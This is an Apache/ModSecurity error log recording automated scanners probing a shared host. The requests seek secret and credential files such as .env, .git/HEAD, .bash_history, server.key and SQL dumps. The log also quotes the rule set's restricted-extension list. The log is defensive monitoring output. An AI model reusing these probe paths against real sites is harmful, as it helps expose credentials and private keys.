[Fri Jul 17 10:04:59.510558 2026] [security2:error] [pid 2063895:tid 2063895] [client 91.148.244.131:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/.env"] [unique_id "almw8xf3V7HXByUCfDSx6QAAABY"]
[Fri Jul 17 10:04:59.510922 2026] [security2:error] [pid 2064879:tid 2064879] [client 91.148.244.131:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/.git/HEAD"] [unique_id "almw82Tem5UnhuySh-0nyQAAAAA"]
[Fri Jul 17 10:04:59.510949 2026] [security2:error] [pid 2063895:tid 2063895] [client 91.148.244.131:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/.env"] [unique_id "almw8xf3V7HXByUCfDSx6QAAABY"]
[Fri Jul 17 10:04:59.671577 2026] [security2:error] [pid 2064883:tid 2064883] [client 91.148.244.131:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "weeratrading.com"] [uri "/api/.env"] [unique_id "almw8wgUGKrGY1YsJl1uMwAAAAY"]
[Fri Jul 17 10:04:59.671953 2026] [security2:error] [pid 2064883:tid 2064883] [client 91.148.244.131:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/api/.env"] [unique_id "almw8wgUGKrGY1YsJl1uMwAAAAY"]
[Fri Jul 17 10:04:59.672609 2026] [security2:error] [pid 2064883:tid 2064883] [client 91.148.244.131:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/api/.env"] [unique_id "almw8wgUGKrGY1YsJl1uMwAAAAY"]
[Fri Jul 17 10:05:00.153845 2026] [security2:error] [pid 2029579:tid 2029579] [client 91.148.244.131:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "weeratrading.com"] [uri "/.env.production"] [unique_id "almw9CRF0UOO1RzB5_87GgAAAA4"]
[Fri Jul 17 10:05:00.154151 2026] [security2:error] [pid 2029579:tid 2029579] [client 91.148.244.131:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/.env.production"] [unique_id "almw9CRF0UOO1RzB5_87GgAAAA4"]
[Fri Jul 17 10:05:00.154618 2026] [security2:error] [pid 2029579:tid 2029579] [client 91.148.244.131:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/.env.production"] [unique_id "almw9CRF0UOO1RzB5_87GgAAAA4"]
[Fri Jul 17 10:05:00.187483 2026] [security2:error] [pid 2064879:tid 2064879] [client 81.171.74.60:0] ModSecurity: Warning. Matched phrase ".bash_history" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .bash_history found within REQUEST_FILENAME: /.bash_history"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/.bash_history"] [unique_id "almw9GTem5UnhuySh-0nywAAAAA"]
[Fri Jul 17 10:05:00.187773 2026] [security2:error] [pid 2064879:tid 2064879] [client 81.171.74.60:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/.bash_history"] [unique_id "almw9GTem5UnhuySh-0nywAAAAA"]
[Fri Jul 17 10:05:00.188245 2026] [security2:error] [pid 2064879:tid 2064879] [client 81.171.74.60:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com.66-85-158-91.cpanel.site"] [uri "/.bash_history"] [unique_id "almw9GTem5UnhuySh-0nywAAAAA"]
[Fri Jul 17 10:05:00.229462 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:48070] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:05:00.311859 2026] [security2:error] [pid 2064883:tid 2064883] [client 91.148.244.131:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "weeratrading.com"] [uri "/etc/ssl/private/server.key"] [unique_id "almw9AgUGKrGY1YsJl1uNQAAAAY"]
[Fri Jul 17 10:05:00.312272 2026] [security2:error] [pid 2064883:tid 2064883] [client 91.148.244.131:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/etc/ssl/private/server.key"] [unique_id "almw9AgUGKrGY1YsJl1uNQAAAAY"]
[Fri Jul 17 10:05:00.312717 2026] [security2:error] [pid 2064883:tid 2064883] [client 91.148.244.131:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/etc/ssl/private/server.key"] [unique_id "almw9AgUGKrGY1YsJl1uNQAAAAY"]
[Fri Jul 17 10:05:00.467580 2026] [security2:error] [pid 2029579:tid 2029579] [client 91.148.244.131:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "weeratrading.com"] [uri "/server.key"] [unique_id "almw9CRF0UOO1RzB5_87GwAAAA4"]
[Fri Jul 17 10:05:00.467932 2026] [security2:error] [pid 2029579:tid 2029579] [client 91.148.244.131:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/server.key"] [unique_id "almw9CRF0UOO1RzB5_87GwAAAA4"]
[Fri Jul 17 10:05:00.468268 2026] [security2:error] [pid 2029579:tid 2029579] [client 91.148.244.131:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/server.key"] [unique_id "almw9CRF0UOO1RzB5_87GwAAAA4"]
[Fri Jul 17 10:05:01.252733 2026] [security2:error] [pid 2064879:tid 2064879] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_68061c4e7e779_Initiation of surveillance measures - Chikungunya.pdf"] [unique_id "almw9WTem5UnhuySh-0nzgAAAAA"]
[Fri Jul 17 10:05:01.253295 2026] [security2:error] [pid 2064879:tid 2064879] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_68061c4e7e779_Initiation of surveillance measures - Chikungunya.pdf"] [unique_id "almw9WTem5UnhuySh-0nzgAAAAA"]
[Fri Jul 17 10:05:01.253821 2026] [security2:error] [pid 2064879:tid 2064879] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/en_68061c4e7e779_Initiation of surveillance measures - Chikungunya.pdf"] [unique_id "almw9WTem5UnhuySh-0nzgAAAAA"]
[Fri Jul 17 10:05:01.301327 2026] [security2:error] [pid 2047046:tid 2047046] [client 91.148.244.131:0] ModSecurity: Warning. Matched phrase ".bash_history" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .bash_history found within REQUEST_FILENAME: /.bash_history"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "weeratrading.com"] [uri "/.bash_history"] [unique_id "almw9U_0b3nWp8txtSDJygAAAA0"]
[Fri Jul 17 10:05:01.301707 2026] [security2:error] [pid 2047046:tid 2047046] [client 91.148.244.131:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/.bash_history"] [unique_id "almw9U_0b3nWp8txtSDJygAAAA0"]
[Fri Jul 17 10:05:01.302372 2026] [security2:error] [pid 2047046:tid 2047046] [client 91.148.244.131:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/.bash_history"] [unique_id "almw9U_0b3nWp8txtSDJygAAAA0"]
[Fri Jul 17 10:05:01.459782 2026] [security2:error] [pid 2064883:tid 2064883] [client 91.148.244.131:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "weeratrading.com"] [uri "/database_backup.sql"] [unique_id "almw9QgUGKrGY1YsJl1uOAAAAAY"]
[Fri Jul 17 10:05:01.460199 2026] [security2:error] [pid 2064883:tid 2064883] [client 91.148.244.131:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/database_backup.sql"] [unique_id "almw9QgUGKrGY1YsJl1uOAAAAAY"]
[Fri Jul 17 10:05:01.460643 2026] [security2:error] [pid 2064883:tid 2064883] [client 91.148.244.131:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/database_backup.sql"] [unique_id "almw9QgUGKrGY1YsJl1uOAAAAAY"]
[Fri Jul 17 10:05:01.615215 2026] [security2:error] [pid 2063463:tid 2063463] [client 91.148.244.131:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "weeratrading.com"] [uri "/.svn/wc.db"] [unique_id "almw9f72foAPmCnen3SrIAAAABs"]
[Fri Jul 17 10:05:01.615482 2026] [security2:error] [pid 2063463:tid 2063463] [client 91.148.244.131:0] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "weeratrading.com"] [uri "/.svn/wc.db"] [unique_id "almw9f72foAPmCnen3SrIAAAABs"]
[Fri Jul 17 10:05:01.615791 2026] [security2:error] [pid 2063463:tid 2063463] [client 91.148.244.131:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/.svn/wc.db"] [unique_id "almw9f72foAPmCnen3SrIAAAABs"]
[Fri Jul 17 10:05:01.616438 2026] [security2:error] [pid 2063463:tid 2063463] [client 91.148.244.131:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/.svn/wc.db"] [unique_id "almw9f72foAPmCnen3SrIAAAABs"]
[Fri Jul 17 10:05:01.616822 2026] [authz_core:error] [pid 2063436:tid 2063436] [client 91.148.244.131:0] AH01630: client denied by server configuration: /home/weeratra/public_html/wp-config.php
[Fri Jul 17 10:05:01.878257 2026] [proxy_fcgi:error] [pid 2065293:tid 2065293] [client 81.171.74.60:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:05:01.878936 2026] [proxy_fcgi:error] [pid 2034024:tid 2034024] [client 81.171.74.60:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 10:05:01.951764 2026] [security2:error] [pid 2063463:tid 2063463] [client 91.148.244.131:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "weeratrading.com"] [uri "/dump.sql"] [unique_id "almw9f72foAPmCnen3SrIQAAABs"]
[Fri Jul 17 10:05:01.952342 2026] [security2:error] [pid 2063463:tid 2063463] [client 91.148.244.131:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "weeratrading.com"] [uri "/dump.sql"] [unique_id "almw9f72foAPmCnen3SrIQAAABs"]
[Fri Jul 17 10:05:01.952904 2026] [security2:error] [pid 2063463:tid 2063463] [client 91.148.244.131:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "weeratrading.com"] [uri "/dump.sql"] [unique_id "almw9f72foAPmCnen3SrIQAAABs"]
[Fri Jul 17 10:05:02.536731 2026] [ssl:error] [pid 2065296:tid 2065296] (70014)End of file found: [client 66.85.158.91:44474] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:05:02.852680 2026] [security2:error] [pid 2063441:tid 2063441] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/storage/post/pdfs/strengthening_immunity_in_healthcare_staff.pdf"] [unique_id "almw9tKHXJzatLSGO6Is0gAAABU"]
